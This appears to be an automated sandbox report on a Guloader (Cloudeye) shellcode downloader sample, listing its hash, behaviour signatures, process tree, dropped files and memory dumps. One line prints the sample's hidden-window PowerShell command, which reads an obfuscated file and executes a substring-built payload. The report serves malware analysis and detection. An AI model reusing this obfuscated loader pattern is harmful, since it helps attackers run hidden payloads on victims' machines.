Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/08/2026, 16:49
General
- Target 34b2921f06fbad2a5eb78b0abe6f88a6d1f23995766214212af9a0de795a10b9.exe
- Size 751KB
- Sample260810-vb3y7sdl2v
- SHA256 34b2921f06fbad2a5eb78b0abe6f88a6d1f23995766214212af9a0de795a10b9
Malware Config
Signatures
- Family: Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 1 IoCs
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\34b2921f06fbad2a5eb78b0abe6f88a6d1f23995766214212af9a0de795a10b9.exe"C:\Users\Admin\AppData\Local\Temp\34b2921f06fbad2a5eb78b0abe6f88a6d1f23995766214212af9a0de795a10b9.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Frightens=gc -raw 'C:\Users\Admin\AppData\Local\magmaet\clenched\Hysterelcosis.Ski';$Cadmiummets=$Frightens.SubString(15121,3);.$Cadmiummets($Frightens) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Badlisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_e1n2ymtp.d0b.ps1
nsExec.dll
Fenja.Bes
Hysterelcosis.Ski
unthick.ini
memory/2180-209-0x00000000009E0000-0x0000000001C34000-memory.dmp
memory/2284-157-0x0000000006570000-0x000000000658A000-memory.dmp
memory/2284-178-0x0000000007630000-0x000000000763E000-memory.dmp
memory/2284-144-0x0000000005220000-0x0000000005286000-memory.dmp
memory/2284-153-0x0000000005AF0000-0x0000000005E44000-memory.dmp
memory/2284-154-0x0000000006040000-0x000000000605E000-memory.dmp
memory/2284-155-0x0000000006090000-0x00000000060DC000-memory.dmp
memory/2284-143-0x0000000005180000-0x00000000051A2000-memory.dmp
memory/2284-156-0x00000000065B0000-0x0000000006646000-memory.dmp
memory/2284-158-0x0000000007050000-0x0000000007072000-memory.dmp
memory/2284-159-0x00000000076B0000-0x0000000007C54000-memory.dmp
memory/2284-142-0x00000000052D0000-0x00000000058F8000-memory.dmp
memory/2284-161-0x00000000082E0000-0x000000000895A000-memory.dmp
memory/2284-162-0x000000007F740000-0x000000007F750000-memory.dmp
memory/2284-163-0x0000000007450000-0x0000000007482000-memory.dmp
memory/2284-164-0x000000006F9C0000-0x000000006FA0C000-memory.dmp
memory/2284-174-0x0000000007490000-0x00000000074AE000-memory.dmp
memory/2284-173-0x0000000004C90000-0x0000000004CA0000-memory.dmp
memory/2284-172-0x0000000004C90000-0x0000000004CA0000-memory.dmp
memory/2284-175-0x00000000074C0000-0x0000000007563000-memory.dmp
memory/2284-176-0x00000000075C0000-0x00000000075CA000-memory.dmp
memory/2284-177-0x00000000075E0000-0x00000000075F1000-memory.dmp
memory/2284-145-0x0000000005900000-0x0000000005966000-memory.dmp
memory/2284-179-0x0000000007640000-0x0000000007654000-memory.dmp
memory/2284-180-0x0000000007680000-0x000000000769A000-memory.dmp
memory/2284-181-0x0000000007670000-0x0000000007678000-memory.dmp
memory/2284-182-0x0000000007DC0000-0x0000000007DEA000-memory.dmp
memory/2284-183-0x0000000007DF0000-0x0000000007E14000-memory.dmp
memory/2284-184-0x0000000004C90000-0x0000000004CA0000-memory.dmp
memory/2284-187-0x0000000004C90000-0x0000000004CA0000-memory.dmp
memory/2284-186-0x0000000004C90000-0x0000000004CA0000-memory.dmp
memory/2284-141-0x0000000002A60000-0x0000000002A96000-memory.dmp
memory/2284-190-0x0000000007F40000-0x0000000007F44000-memory.dmp
memory/2284-189-0x0000000004C90000-0x0000000004CA0000-memory.dmp
memory/2284-191-0x0000000008960000-0x000000000A3BB000-memory.dmp
memory/2284-192-0x0000000008960000-0x000000000A3BB000-memory.dmp
memory/2284-193-0x000000007F740000-0x000000007F750000-memory.dmp
memory/2284-195-0x0000000004C90000-0x0000000004CA0000-memory.dmp
memory/2284-194-0x0000000004C90000-0x0000000004CA0000-memory.dmp
memory/2284-196-0x0000000004C90000-0x0000000004CA0000-memory.dmp
memory/2284-198-0x0000000004C90000-0x0000000004CA0000-memory.dmp
memory/2284-199-0x0000000008960000-0x000000000A3BB000-memory.dmp
memory/2284-140-0x0000000004C90000-0x0000000004CA0000-memory.dmp